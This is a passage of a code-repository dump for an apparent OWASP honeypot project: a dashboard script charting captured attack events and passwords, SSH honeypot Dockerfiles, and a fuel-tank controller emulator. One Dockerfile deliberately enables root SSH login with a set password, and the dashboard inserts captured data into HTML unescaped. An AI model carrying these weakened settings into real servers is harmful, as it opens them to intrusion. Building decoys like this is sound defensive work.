(errorThrown == \"UNAUTHORIZED\") {\n }\n });\n}\n\nfunction load_creds_password(module){\n\t$.ajax({\n type: \"GET\",\n url: \"/api/events/most-passwords-used\",\n\t\tdata: {\"module_name\" : module},\n }).done(function (res) {\n\t\tvar tableHtml='';\n\t\tfor (var i = 0; i < res.length; i++) {\n var m = res[i];\n\t\t\tvar count= m.count;\n\t\t\tvar password= m._id.password;\n\t\t\tvar ip_dest= m._id.ip_dest;\n\t\t\tvar module_name = m._id.module_name;\n\t\t\ttableHtml += \"<tr>\"\n\t\t\t\t+\"<td>\"+ (i+1) +\"</td>\"\n + \"<td>\"+ password+\"</td>\"\n\t\t\t\t+ \"<td>\"+ ip_dest +\"</td>\"\n + \"<td>\"+ count +\"</td>\"\n\t\t\t + \"<td>\" + module_name + \"</td>\"\n + \"</tr>\";\n }\n\t\t$('#module_creds_password_table tbody').html(tableHtml);\n }).fail(function (jqXHR, textStatus, errorThrown) {\n document.getElementById('error_msg').innerHTML = jqXHR.responseText;\n if (errorThrown == \"BAD REQUEST\") {\n }\n if (errorThrown == \"UNAUTHORIZED\") {\n }\n });\n}\n\nfunction load_module_options(){\n\t$.ajax({\n type: \"GET\",\n url: \"/api/events/module-names\",\n\t\tdata: {},\n }).done(function (res) {\n\t\tvar tableHtml='<option value=\\\"\\\"> All Modules </option>';\n\t\tfor (var i = 0; i < res.module_names.length; i++) {\n var module_name = res.module_names[i];\n\t\t\ttableHtml += \"<option value=\"+\n\t\t\t\tmodule_name+\">\"\n\t\t\t\t+module_name\n\t\t\t+ \"</option>\";\n }\n\t\t$('#module_username').html(tableHtml);\n\t\t$('#module_password').html(tableHtml);\n }).fail(function (jqXHR, textStatus, errorThrown) {\n document.getElementById('error_msg').innerHTML = jqXHR.responseText;\n if (errorThrown == \"BAD REQUEST\") {\n }\n if (errorThrown == \"UNAUTHORIZED\") {\n }\n });\n}\n\n\nfunction load_graphs() {\n var top_ten_ips_in_honeypot_events_graph_data_keys = [];\n var top_ten_ips_in_honeypot_events_graph_data_values = [];\n var top_ten_ips_in_honeypot_events_graph_data_colors = [];\n var top_ten_ips_in_network_events_graph_data_keys = [];\n var top_ten_ips_in_network_events_graph_data_values = [];\n var top_ten_ips_in_network_events_graph_data_colors = [];\n var top_ten_ports_in_honeypot_events_graph_data_keys = [];\n var top_ten_ports_in_honeypot_events_graph_data_values = [];\n var top_ten_ports_in_honeypot_events_graph_data_colors = [];\n var top_ten_ports_in_network_events_graph_data_keys = [];\n var top_ten_ports_in_network_events_graph_data_values = [];\n var top_ten_ports_in_network_events_graph_data_colors = [];\n // generate past week ago dates (e.g. 2018-07-16)\n var dates_network_events_json = {};\n var dates_honeypot_events_json = {};\n var dates_all_events_json = {};\n\n\n // get number of all events\n $.ajax({\n type: \"GET\",\n url: \"/api/events/count-all-events\",\n }).done(function (res) {\n new_number_of_total_events = res[\"count_all_events\"];\n document.getElementById('count_all_events').innerHTML = res[\"count_all_events\"];\n }).fail(function (jqXHR, textStatus, errorThrown) {\n document.getElementById('error_msg').innerHTML = jqXHR.responseText;\n if (errorThrown == \"BAD REQUEST\") {\n }\n if (errorThrown == \"UNAUTHORIZED\") {\n }\n });\n\n\tvar username_module = $('#module_username option:selected').val();\n\tload_creds_username(username_module);\n\tvar password_module = $('#module_password option:selected').val();\n\tload_creds_password(password_module);\n\n\t// on change of module for creds data\n\t$('#module_username').on('change',function(){\n var module = $(this).val();\n load_creds_username(module);\n });\n\n\t$('#module_password').on('change',function(){\n var module = $(this).val();\n\t\tload_creds_password(module);\n });\n\n // wait 3 seconds to get responded for the request\n setTimeout(function () {\n // if events number updated or its first time to load the graph\n if (old_number_of_total_events != new_number_of_total_events) {\n var week_dates_array = [];\n // generate days (7 days ago until now)\n for (var days = 6; days >= 0; days--) {\n var date = new Date();\n var last = new Date(date.getTime() - (days * 24 * 60 * 60 * 1000));\n week_dates_array.push(last.getFullYear() + (((last.getMonth() + 1) <= 9) ?\n (\"-0\" + (last.getMonth() + 1)) : \"-\" + (last.getMonth() + 1)) + ((last.getDate() <= 9) ?\n (\"-0\" + last.getDate()) : \"-\" + last.getDate()));\n }\n // set old events num as new to prevent repeating requests\n old_number_of_total_events = new_number_of_total_events;\n // request honeypot related events number\n $.ajax({\n type: \"GET\",\n url: \"/api/events/count-honeypot-events\",\n }).done(function (res) {\n document.getElementById('count_honeypot_events').innerHTML = res[\"count_honeypot_events\"];\n }).fail(function (jqXHR, textStatus, errorThrown) {\n document.getElementById('error_msg').innerHTML = jqXHR.responseText;\n if (errorThrown == \"BAD REQUEST\") {\n }\n if (errorThrown == \"UNAUTHORIZED\") {\n }\n });\n // request network related events number\n $.ajax({\n type: \"GET\",\n url: \"/api/events/count-network-events\",\n }).done(function (res) {\n document.getElementById('count_network_events').innerHTML = res[\"count_network_events\"];\n }).fail(function (jqXHR, textStatus, errorThrown) {\n document.getElementById('error_msg').innerHTML = jqXHR.responseText;\n if (errorThrown == \"BAD REQUEST\") {\n }\n if (errorThrown == \"UNAUTHORIZED\") {\n }\n });\n\n // request top ten ips in honeypot events\n $.ajax({\n type: \"GET\",\n url: \"/api/events/honeypot-events-ips\",\n }).done(function (res) {\n for (var i = 0; i < res.length; i++) {\n top_ten_ips_in_honeypot_events_graph_data_keys.push(\n res[i][\"_id\"][\"ip_dest\"] + \" (\" + res[i][\"_id\"][\"country_ip_dest\"] + \")\"\n );\n top_ten_ips_in_honeypot_events_graph_data_values.push(res[i][\"count\"]);\n top_ten_ips_in_honeypot_events_graph_data_colors.push(color(colors_array[i]).alpha(0.5).rgbString());\n }\n\n var top_ten_ips_in_honeypot_events_graph_config = {\n data: {\n datasets: [{\n data: top_ten_ips_in_honeypot_events_graph_data_values,\n backgroundColor: top_ten_ips_in_honeypot_events_graph_data_colors,\n label: 'Top Ten IPs - Honeypot'\n }],\n labels: top_ten_ips_in_honeypot_events_graph_data_keys\n },\n options: {\n responsive: true,\n legend: {\n position: 'right',\n },\n title: {\n display: true,\n text: 'Top Ten IPs - Honeypot'\n },\n scale: {\n ticks: {\n beginAtZero: true\n },\n reverse: false\n },\n animation: {\n animateRotate: false,\n animateScale: true\n }\n }\n };\n\n var ctx = document.getElementById('top_ten_ips_in_honeypot_events_graph');\n window.myPolarArea = Chart.PolarArea(ctx, top_ten_ips_in_honeypot_events_graph_config);\n\n }).fail(function (jqXHR, textStatus, errorThrown) {\n document.getElementById('error_msg').innerHTML = jqXHR.responseText;\n if (errorThrown == \"BAD REQUEST\") {\n }\n if (errorThrown == \"UNAUTHORIZED\") {\n }\n });\n\n\n // request top ten ips in network events\n $.ajax({\n type: \"GET\",\n url: \"/api/events/network-events-ips\",\n }).done(function (res) {\n for (var i = 0; i < res.length; i++) {\n top_ten_ips_in_network_events_graph_data_keys.push(\n res[i][\"_id\"][\"ip_dest\"] + \" (\" + res[i][\"_id\"][\"country_ip_dest\"] + \")\"\n );\n top_ten_ips_in_network_events_graph_data_values.push(res[i][\"count\"]);\n top_ten_ips_in_network_events_graph_data_colors.push(color(colors_array[i]).alpha(0.5).rgbString());\n }\n\n var top_ten_ips_in_network_events_graph_config = {\n data: {\n datasets: [{\n data: top_ten_ips_in_network_events_graph_data_values,\n backgroundColor: top_ten_ips_in_network_events_graph_data_colors,\n label: 'Top Ten IPs - Network'\n }],\n labels: top_ten_ips_in_network_events_graph_data_keys\n },\n options: {\n responsive: true,\n legend: {\n position: 'right',\n },\n title: {\n display: true,\n text: 'Top Ten IPs - Network'\n },\n scale: {\n ticks: {\n beginAtZero: true\n },\n reverse: false\n },\n animation: {\n animateRotate: false,\n animateScale: true\n }\n }\n };\n\n var ctx = document.getElementById('top_ten_ips_in_network_events_graph');\n window.myPolarArea = Chart.PolarArea(ctx, top_ten_ips_in_network_events_graph_config);\n\n }).fail(function (jqXHR, textStatus, errorThrown) {\n document.getElementById('error_msg').innerHTML = jqXHR.responseText;\n if (errorThrown == \"BAD REQUEST\") {\n }\n if (errorThrown == \"UNAUTHORIZED\") {\n }\n });\n\n\n // request top ten ports in honeypot events\n $.ajax({\n type: \"GET\",\n url: \"/api/events/honeypot-events-ports\",\n }).done(function (res) {\n for (var i = 0; i < res.length; i++) {\n top_ten_ports_in_honeypot_events_graph_data_keys.push(res[i][\"_id\"][\"port_dest\"]);\n top_ten_ports_in_honeypot_events_graph_data_values.push(res[i][\"count\"]);\n top_ten_ports_in_honeypot_events_graph_data_colors.push(color(colors_array[i]).alpha(0.5).rgbString());\n }\n\n var top_ten_ports_in_honeypot_events_graph_config = {\n data: {\n datasets: [{\n data: top_ten_ports_in_honeypot_events_graph_data_values,\n backgroundColor: top_ten_ports_in_honeypot_events_graph_data_colors,\n label: 'Top Ten Ports - Honeypot'\n }],\n labels: top_ten_ports_in_honeypot_events_graph_data_keys\n },\n options: {\n responsive: true,\n legend: {\n position: 'right',\n },\n title: {\n display: true,\n text: 'Top Ten Ports - Honeypot'\n },\n scale: {\n ticks: {\n beginAtZero: true\n },\n reverse: false\n },\n animation: {\n animateRotate: false,\n animateScale: true\n }\n }\n };\n\n var ctx = document.getElementById('top_ten_ports_in_honeypot_events_graph');\n window.myPolarArea = Chart.PolarArea(ctx, top_ten_ports_in_honeypot_events_graph_config);\n\n }).fail(function (jqXHR, textStatus, errorThrown) {\n document.getElementById('error_msg').innerHTML = jqXHR.responseText;\n if (errorThrown == \"BAD REQUEST\") {\n }\n if (errorThrown == \"UNAUTHORIZED\") {\n }\n });\n\n\n // request top ten ports in network events\n $.ajax({\n type: \"GET\",\n url: \"/api/events/network-events-ports\",\n }).done(function (res) {\n for (var i = 0; i < res.length; i++) {\n top_ten_ports_in_network_events_graph_data_keys.push(res[i][\"_id\"][\"port_dest\"]);\n top_ten_ports_in_network_events_graph_data_values.push(res[i][\"count\"]);\n top_ten_ports_in_network_events_graph_data_colors.push(color(colors_array[i]).alpha(0.5).rgbString());\n }\n\n var top_ten_ports_in_network_events_graph_config = {\n data: {\n datasets: [{\n data: top_ten_ports_in_network_events_graph_data_values,\n backgroundColor: top_ten_ports_in_network_events_graph_data_colors,\n label: 'Top Ten Network - Honeypot'\n }],\n labels: top_ten_ports_in_network_events_graph_data_keys\n },\n options: {\n responsive: true,\n legend: {\n position: 'right',\n },\n title: {\n display: true,\n text: 'Top Ten Ports - Network'\n },\n scale: {\n ticks: {\n beginAtZero: true\n },\n reverse: false\n },\n animation: {\n animateRotate: false,\n animateScale: true\n }\n }\n };\n\n var ctx = document.getElementById('top_ten_ports_in_network_events_graph');\n window.myPolarArea = Chart.PolarArea(ctx, top_ten_ports_in_network_events_graph_config);\n\n }).fail(function (jqXHR, textStatus, errorThrown) {\n document.getElementById('error_msg').innerHTML = jqXHR.responseText;\n if (errorThrown == \"BAD REQUEST\") {\n }\n if (errorThrown == \"UNAUTHORIZED\") {\n }\n });\n\n\n // 7 days ago config\n // request all events number by date for past week\n for (var counter = 0; counter < week_dates_array.length; counter++) {\n\n $.ajax({\n type: \"GET\",\n url: \"/api/events/count-all-events?date=\" + week_dates_array[counter],\n }).done(function (res) {\n dates_all_events_json[res[\"date\"].toString().split(\" \")[0]] = res[\"count_all_events_by_date\"];\n\n var past_week_events_graph_config = {\n type: 'line',\n data: {\n labels: week_dates_array,\n datasets: [{\n label: 'All Events',\n backgroundColor: window.chartColors.red,\n borderColor: window.chartColors.red,\n data: [\n dates_all_events_json[week_dates_array[0]],\n dates_all_events_json[week_dates_array[1]],\n dates_all_events_json[week_dates_array[2]],\n dates_all_events_json[week_dates_array[3]],\n dates_all_events_json[week_dates_array[4]],\n dates_all_events_json[week_dates_array[5]],\n dates_all_events_json[week_dates_array[6]]\n ],\n fill: false,\n }, {\n label: 'Honeypot Events',\n fill: false,\n backgroundColor: window.chartColors.blue,\n borderColor: window.chartColors.blue,\n data: [\n dates_honeypot_events_json[week_dates_array[0]],\n dates_honeypot_events_json[week_dates_array[1]],\n dates_honeypot_events_json[week_dates_array[2]],\n dates_honeypot_events_json[week_dates_array[3]],\n dates_honeypot_events_json[week_dates_array[4]],\n dates_honeypot_events_json[week_dates_array[5]],\n dates_honeypot_events_json[week_dates_array[6]]\n ],\n }, {\n label: 'Network Events',\n fill: false,\n backgroundColor: window.chartColors.yellow,\n borderColor: window.chartColors.yellow,\n data: [\n dates_network_events_json[week_dates_array[0]],\n dates_network_events_json[week_dates_array[1]],\n dates_network_events_json[week_dates_array[2]],\n dates_network_events_json[week_dates_array[3]],\n dates_network_events_json[week_dates_array[4]],\n dates_network_events_json[week_dates_array[5]],\n dates_network_events_json[week_dates_array[6]]\n ],\n }]\n },\n options: {\n responsive: true,\n title: {\n display: true,\n text: 'OHP Events'\n },\n tooltips: {\n mode: 'index',\n intersect: false,\n },\n hover: {\n mode: 'nearest',\n intersect: true\n },\n scales: {\n xAxes: [{\n display: true,\n scaleLabel: {\n display: true,\n labelString: 'Past Week Events Graph (update 30 seconds)'\n }\n }],\n yAxes: [{\n display: true,\n scaleLabel: {\n display: true,\n labelString: 'Events Number'\n }\n }]\n }\n }\n };\n\n // hide blink message\n document.getElementById(\"blink_loading_graph\").hidden = true;\n\n // place the graph in canvas\n var past_week_events_graph_config_ctx = document.getElementById('past_week_events_graph').getContext('2d');\n window.myLine = new Chart(past_week_events_graph_config_ctx, past_week_events_graph_config);\n\n }).fail(function (jqXHR, textStatus, errorThrown) {\n document.getElementById('error_msg').innerHTML = jqXHR.responseText;\n if (errorThrown == \"BAD REQUEST\") {\n }\n if (errorThrown == \"UNAUTHORIZED\") {\n }\n });\n }\n\n // request network events number by date for past week\n for (var counter = 0; counter < week_dates_array.length; counter++) {\n $.ajax({\n type: \"GET\",\n url: \"/api/events/count-network-events?date=\" + week_dates_array[counter],\n }).done(function (res) {\n dates_network_events_json[res[\"date\"].toString().split(\" \")[0]] = res[\"count_network_events_by_date\"];\n var past_week_events_graph_config = {\n type: 'line',\n data: {\n labels: week_dates_array,\n datasets: [{\n label: 'All Events',\n backgroundColor: window.chartColors.red,\n borderColor: window.chartColors.red,\n data: [\n dates_all_events_json[week_dates_array[0]],\n dates_all_events_json[week_dates_array[1]],\n dates_all_events_json[week_dates_array[2]],\n dates_all_events_json[week_dates_array[3]],\n dates_all_events_json[week_dates_array[4]],\n dates_all_events_json[week_dates_array[5]],\n dates_all_events_json[week_dates_array[6]]\n ],\n fill: false,\n }, {\n label: 'Honeypot Events',\n fill: false,\n backgroundColor: window.chartColors.blue,\n borderColor: window.chartColors.blue,\n data: [\n dates_honeypot_events_json[week_dates_array[0]],\n dates_honeypot_events_json[week_dates_array[1]],\n dates_honeypot_events_json[week_dates_array[2]],\n dates_honeypot_events_json[week_dates_array[3]],\n dates_honeypot_events_json[week_dates_array[4]],\n dates_honeypot_events_json[week_dates_array[5]],\n dates_honeypot_events_json[week_dates_array[6]]\n ],\n }, {\n label: 'Network Events',\n fill: false,\n backgroundColor: window.chartColors.yellow,\n borderColor: window.chartColors.yellow,\n data: [\n dates_network_events_json[week_dates_array[0]],\n dates_network_events_json[week_dates_array[1]],\n dates_network_events_json[week_dates_array[2]],\n dates_network_events_json[week_dates_array[3]],\n dates_network_events_json[week_dates_array[4]],\n dates_network_events_json[week_dates_array[5]],\n dates_network_events_json[week_dates_array[6]]\n ],\n }]\n },\n options: {\n responsive: true,\n title: {\n display: true,\n text: 'OHP Events'\n },\n tooltips: {\n mode: 'index',\n intersect: false,\n },\n hover: {\n mode: 'nearest',\n intersect: true\n },\n scales: {\n xAxes: [{\n display: true,\n scaleLabel: {\n display: true,\n labelString: 'Past Week Events Graph (update 30 seconds)'\n }\n }],\n yAxes: [{\n display: true,\n scaleLabel: {\n display: true,\n labelString: 'Events Number'\n }\n }]\n }\n }\n };\n\n // hide blink message\n document.getElementById(\"blink_loading_graph\").hidden = true;\n\n // place the graph in canvas\n var past_week_events_graph_config_ctx = document.getElementById('past_week_events_graph').getContext('2d');\n window.myLine = new Chart(past_week_events_graph_config_ctx, past_week_events_graph_config);\n }).fail(function (jqXHR, textStatus, errorThrown) {\n document.getElementById('error_msg').innerHTML = jqXHR.responseText;\n if (errorThrown == \"BAD REQUEST\") {\n }\n if (errorThrown == \"UNAUTHORIZED\") {\n }\n });\n }\n\n // request honeypot events number by date for past week\n for (var counter = 0; counter < week_dates_array.length; counter++) {\n\n $.ajax({\n type: \"GET\",\n url: \"/api/events/count-honeypot-events?date=\" + week_dates_array[counter],\n }).done(function (res) {\n dates_honeypot_events_json[res[\"date\"].toString().split(\" \")[0]] = res[\"count_honeypot_events_by_date\"];\n var past_week_events_graph_config = {\n type: 'line',\n data: {\n labels: week_dates_array,\n datasets: [{\n label: 'All Events',\n backgroundColor: window.chartColors.red,\n borderColor: window.chartColors.red,\n data: [\n dates_all_events_json[week_dates_array[0]],\n dates_all_events_json[week_dates_array[1]],\n dates_all_events_json[week_dates_array[2]],\n dates_all_events_json[week_dates_array[3]],\n dates_all_events_json[week_dates_array[4]],\n dates_all_events_json[week_dates_array[5]],\n dates_all_events_json[week_dates_array[6]]\n ],\n fill: false,\n }, {\n label: 'Honeypot Events',\n fill: false,\n backgroundColor: window.chartColors.blue,\n borderColor: window.chartColors.blue,\n data: [\n dates_honeypot_events_json[week_dates_array[0]],\n dates_honeypot_events_json[week_dates_array[1]],\n dates_honeypot_events_json[week_dates_array[2]],\n dates_honeypot_events_json[week_dates_array[3]],\n dates_honeypot_events_json[week_dates_array[4]],\n dates_honeypot_events_json[week_dates_array[5]],\n dates_honeypot_events_json[week_dates_array[6]]\n ],\n }, {\n label: 'Network Events',\n fill: false,\n backgroundColor: window.chartColors.yellow,\n borderColor: window.chartColors.yellow,\n data: [\n dates_network_events_json[week_dates_array[0]],\n dates_network_events_json[week_dates_array[1]],\n dates_network_events_json[week_dates_array[2]],\n dates_network_events_json[week_dates_array[3]],\n dates_network_events_json[week_dates_array[4]],\n dates_network_events_json[week_dates_array[5]],\n dates_network_events_json[week_dates_array[6]]\n ],\n }]\n },\n options: {\n responsive: true,\n title: {\n display: true,\n text: 'OHP Events'\n },\n tooltips: {\n mode: 'index',\n intersect: false,\n },\n hover: {\n mode: 'nearest',\n intersect: true\n },\n scales: {\n xAxes: [{\n display: true,\n scaleLabel: {\n display: true,\n labelString: 'Past Week Events Graph (update 30 seconds)'\n }\n }],\n yAxes: [{\n display: true,\n scaleLabel: {\n display: true,\n labelString: 'Events Number'\n }\n }]\n }\n }\n };\n\n // hide blink message\n document.getElementById(\"blink_loading_graph\").hidden = true;\n\n // place the graph in canvas\n var past_week_events_graph_config_ctx = document.getElementById('past_week_events_graph').getContext('2d');\n window.myLine = new Chart(past_week_events_graph_config_ctx, past_week_events_graph_config);\n }).fail(function (jqXHR, textStatus, errorThrown) {\n document.getElementById('error_msg').innerHTML = jqXHR.responseText;\n if (errorThrown == \"BAD REQUEST\") {\n }\n if (errorThrown == \"UNAUTHORIZED\") {\n }\n });\n }\n\n\n }\n }, 3000);\n}\n\nfunction keep_update() {\n setTimeout(function () {\n load_graphs();\n keep_update();\n }, 30000);\n}\n\n// load first time\nload_graphs();\n//only load one time\nload_module_options();\n\n// 30 seconds delay loop\nkeep_update();\n" }, { "alpha_fraction": 0.73591548204422, "alphanum_fraction": 0.7552816867828369, "avg_line_length": 32.411766052246094, "blob_id": "814900040b123e78aae976c3894a768a477de1a0", "content_id": "456e5967ff4d46ce1689b25ac28cf2ecd2494d69", "detected_licenses": [ "LicenseRef-scancode-warranty-disclaimer", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Dockerfile", "length_bytes": 568, "license_type": "permissive", "max_line_length": 107, "num_lines": 17, "path": "/lib/modules/ssh/strong_password/Dockerfile", "repo_name": "ChakshuGupta/OWASP-Honeypot", "src_encoding": "UTF-8", "text": "# using phusion/baseimage as base image\nFROM phusion/baseimage:0.9.19\n\n# update and install openssh + python\nRUN apt-get update && apt-get install -y python3.5 python3-pip python3-dev python-pip libssl-dev libffi-dev\n\nRUN pip3 install paramiko\nRUN pip3 install datetime\n\nCOPY files/ssh_listener.py /root/ssh_listener.py\n# create credential\nRUN echo {username}:{password} | /usr/sbin/chpasswd\nWORKDIR /root/\nRUN mkdir -p logs\n\n# start the service + wait for container\nENTRYPOINT ssh-keygen -t rsa -N \"\" -f /root/.ssh/id_rsa >/dev/null && python3 /root/ssh_listener.py\n" }, { "alpha_fraction": 0.6831682920455933, "alphanum_fraction": 0.694483757019043, "avg_line_length": 40.588233947753906, "blob_id": "3af34f5cd0fda4f648a9c1ff9e1803b2718bd756", "content_id": "9dc0a4fa56bb1f6d6410e7e7d9c700300c008863", "detected_licenses": [ "LicenseRef-scancode-warranty-disclaimer", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Dockerfile", "length_bytes": 707, "license_type": "permissive", "max_line_length": 241, "num_lines": 17, "path": "/lib/modules/ssh/weak_password/Dockerfile", "repo_name": "ChakshuGupta/OWASP-Honeypot", "src_encoding": "UTF-8", "text": "# using phusion/baseimage as base image\nFROM phusion/baseimage:0.9.19\n\n# update and install openssh + python\nRUN apt-get update && apt-get install -y openssh-* python\n\n# create credential\nRUN echo {username}:{password} | /usr/sbin/chpasswd\n\n# config ssh\nRUN python -c \"f=open(\\\"/etc/ssh/sshd_config\\\").read().replace(\\\"#Port 22\\\",\\\"Port 22\\\").replace(\\\"#PermitRootLogin yes\\\",\\\"PermitRootLogin yes\\\"); z = open(\\\"/etc/ssh/sshd_config\\\", \\\"w\\\");z.write(f); z.close(); print \\\"fixed sshd_config\\\"\"\n\n# run ssh-keygen non-interactive\nRUN ssh-keygen -k -f id_rsa -t rsa -N '' -f /root/.ssh/id_rsa >/dev/null && service ssh restart\n\n# start the service + wait for container\nENTRYPOINT service ssh restart && tail\n" }, { "alpha_fraction": 0.4285714328289032, "alphanum_fraction": 0.4285714328289032, "avg_line_length": 14, "blob_id": "f03e2c27385d91f00e52b7c52e8478b87fbd1b20", "content_id": "b5b7b46813188dd7be821fcc5119dab5e4aae1fd", "detected_licenses": [ "LicenseRef-scancode-warranty-disclaimer", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 14, "license_type": "permissive", "max_line_length": 14, "num_lines": 1, "path": "/lib/modules/ics/veeder_root_guardian_ast/files/config.py", "repo_name": "ChakshuGupta/OWASP-Honeypot", "src_encoding": "UTF-8", "text": "../__init__.py" }, { "alpha_fraction": 0.4333333373069763, "alphanum_fraction": 0.6666666865348816, "avg_line_length": 14, "blob_id": "fa46f845a6dce6aeae9d7a60a8f9d8cf1bb8478f", "content_id": "51c10e0cc9939c2018598891f11588c93b0e1cc6", "detected_licenses": [ "LicenseRef-scancode-warranty-disclaimer", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 30, "license_type": "permissive", "max_line_length": 15, "num_lines": 2, "path": "/requirements-dev.txt", "repo_name": "ChakshuGupta/OWASP-Honeypot", "src_encoding": "UTF-8", "text": "pytest==4.6.9\ncodecov==2.0.15\n" }, { "alpha_fraction": 0.31713631749153137, "alphanum_fraction": 0.4923076927661896, "avg_line_length": 27.175966262817383, "blob_id": "576f80fc8c46293f2c19a6362d05b471a1142127", "content_id": "b71256f7f19034cb0798e914bba52c6584798521", "detected_licenses": [ "LicenseRef-scancode-warranty-disclaimer", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6565, "license_type": "permissive", "max_line_length": 95, "num_lines": 233, "path": "/lib/modules/ics/veeder_root_guardian_ast/files/veeder_root_guardian_ast_service.py", "repo_name": "ChakshuGupta/OWASP-Honeypot", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n# This is the new version of GasPot Developed by OWASP Honeypot Team\n# more commands supported\n# output text fixed\n\nimport socket\nimport select\nimport datetime\nimport time\nimport random\nimport json\n\n# import all commands\nfrom commands import *\n\n# import configuration\nfrom config import module_configuration\n\n# bind socket use configuration\nserver_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nserver_socket.setblocking(0)\nserver_socket.bind((\"0.0.0.0\", module_configuration()[\"virtual_machine_port_number\"]))\nserver_socket.listen(10)\n\nlogs_filename = \"/tmp/ics_veeder_root_guardian_ast.log\"\n\n\ndef save_log(log_data):\n log_connections = open(logs_filename, \"ab\")\n log_connections.write(json.dumps(log_data) + \"\\n\")\n log_connections.close()\n\n\n# list of all commands\ncommands = {\n \"I10100\": I10100,\n \"I10200\": I10200,\n \"I11100\": I11100,\n \"I11200\": I11200,\n \"I11300\": I11300,\n \"I11400\": I11400,\n \"I20100\": I20100,\n \"I20200\": I20200,\n \"I20300\": I20300,\n \"I20400\": I20400,\n \"I20500\": I20500,\n \"I20600\": I20600,\n \"I20700\": I20700,\n \"I20800\": I20800,\n \"I20900\": I20900,\n \"I20C00\": I20C00,\n \"I20D00\": I20D00,\n \"I25100\": I25100,\n \"I30100\": I30100,\n \"I30200\": I30200,\n \"I50100\": I50100,\n \"I50A00\": I50A00,\n \"I50B00\": I50B00,\n \"I50C00\": I50C00,\n \"I50E00\": I50E00,\n \"I50F00\": I50F00,\n \"I51400\": I51400,\n \"I51700\": I51700,\n \"I51A00\": I51A00,\n \"I51B00\": I51B00,\n \"I51C00\": I51C00,\n \"I51F00\": I51F00,\n \"I53100\": I53100,\n \"I60100\": I60100,\n \"I60200\": I60200,\n \"I60300\": I60300,\n \"I60400\": I60400,\n \"I60500\": I60500,\n \"I60600\": I60600,\n \"I60700\": I60700,\n \"I60800\": I60800,\n \"I60900\": I60900,\n \"I60A00\": I60A00,\n \"I60B00\": I60B00,\n \"I60C00\": I60C00,\n \"I61000\": I61000,\n \"I61100\": I61100,\n \"I61200\": I61200,\n \"I61300\": I61300,\n \"I61400\": I61400,\n \"I61500\": I61500,\n \"I61600\": I61600,\n \"I61700\": I61700,\n \"I61800\": I61800,\n \"I61900\": I61900,\n \"I61A00\": I61A00,\n \"I61B00\": I61B00,\n \"I61C00\": I61C00,\n \"I61D00\": I61D00,\n \"I62100\": I62100,\n \"I62200\": I62200,\n \"I62300\": I62300,\n \"I62400\": I62400,\n \"I62500\": I62500,\n \"I62600\": I62600,\n \"I62700\": I62700,\n \"I62800\": I62800,\n \"I62900\": I62900,\n \"I62A00\": I62A00,\n \"I62B00\": I62B00,\n \"I62D00\": I62D00,\n \"I62E00\": I62E00,\n \"I62F00\": I62F00,\n \"I63100\": I63100,\n \"I63200\": I63200,\n \"I63300\": I63300,\n \"I63400\": I63400,\n \"I63500\": I63500,\n \"I63600\": I63600,\n \"I77100\": I77100,\n \"I85100\": I85100,\n \"I62C00\": I62C00,\n \"I85200\": I85200,\n \"I85300\": I85300,\n \"I88100\": I88100,\n \"I88200\": I88200,\n \"I90100\": I90100,\n \"I90200\": I90200,\n \"I90300\": I90300,\n \"I90400\": I90400,\n \"I90500\": I90500,\n \"IA0100\": IA0100,\n \"IA0200\": IA0200,\n \"IA0300\": IA0300,\n \"IA0400\": IA0400,\n \"IA0500\": IA0500,\n \"IA0600\": IA0600,\n \"IA0700\": IA0700,\n \"IA1000\": IA1000,\n \"IA1100\": IA1100,\n \"IA1200\": IA1200,\n \"IA1300\": IA1300,\n \"IA1400\": IA1400,\n \"IA1500\": IA1500,\n \"IA2000\": IA2000,\n \"IA2100\": IA2100,\n \"IA2200\": IA2200,\n \"IA5100\": IA5100,\n \"IA5200\": IA5200,\n \"IA5300\": IA5300,\n \"IA5400\": IA5400,\n \"IA5500\": IA5500,\n \"IA9100\": IA9100,\n \"S00100\": S00100,\n \"S00200\": S00200,\n \"S00300\": S00300,\n \"S01000\": S01000,\n \"S05100\": S05100,\n \"S05200\": S05200,\n \"S05300\": S05300\n\n}\n\n# while True, keep accepting connections\nwhile True:\n active_sockets = [server_socket]\n while True:\n readable, writeable, errored = select.select(active_sockets, [], [], 5)\n for conn in readable:\n if conn is server_socket:\n new_con, addr = server_socket.accept()\n log_data = {\n \"date\": datetime.datetime.now().strftime(\"%Y-%m-%d %H:%M:%S\"),\n \"ip\": addr[0],\n \"module_name\": \"ics/veeder_root_guardian_ast\",\n \"content\": \"\",\n \"valid_command\": False\n }\n new_con.settimeout(30.0)\n active_sockets.append(new_con)\n else:\n addr = conn.getpeername()\n print(addr[0], \"connected\")\n try:\n TIME = datetime.datetime.utcnow()\n response = conn.recv(4096)\n if not response:\n active_sockets.remove(conn)\n conn.close()\n continue\n while not (\"\\n\" in response or \"00\" in response):\n response += conn.recv(4096)\n if response[0] != \"\\x01\":\n conn.close()\n active_sockets.remove(conn)\n log_data[\"content\"] = response\n save_log(log_data)\n continue\n if len(response) < 6:\n conn.close()\n active_sockets.remove(conn)\n log_data[\"content\"] = response\n save_log(log_data)\n continue\n cmd = response[1:7]\n if cmd in commands:\n log_data[\"valid_command\"] = True\n for data in commands[cmd]().rsplit(\"\\r\\n\"):\n data += \"\\r\\n\"\n conn.send(data)\n time.sleep(random.choice(([0.01] * 10) + ([0.1] * 10) + ([1] * 3)))\n print(addr[0], cmd, \"responded\")\n log_data[\"content\"] = response\n save_log(log_data)\n except Exception, e:\n print(\"Unknown Error: {}\".format(str(e)))\n try:\n log_data[\"content\"] = response\n except:\n pass\n save_log(log_data)\n raise\n except KeyboardInterrupt:\n try:\n log_data[\"content\"] = response\n except:\n pass\n save_log(log_data)\n conn.close()\n except select.error:\n try:\n log_data[\"content\"] = response\n except:\n pass\n save_log(log_data)\n conn.close()\n" }, { "alpha_fraction": 0.5669941306114197, "alphanum_fraction": 0.6015717387199402, "avg_line_length": 29.66265106201172, "blob_id": "73050371f367ba4d044b367e71abc02697c6285b", "content_id": "f605af48d31475bc0cb5cc6e7f450a334fdf2485", "detected_licenses": [ "LicenseRef-scancode-warranty-disclaimer", "Apache-2.0" ], "is_generated": false, "is_vendor": 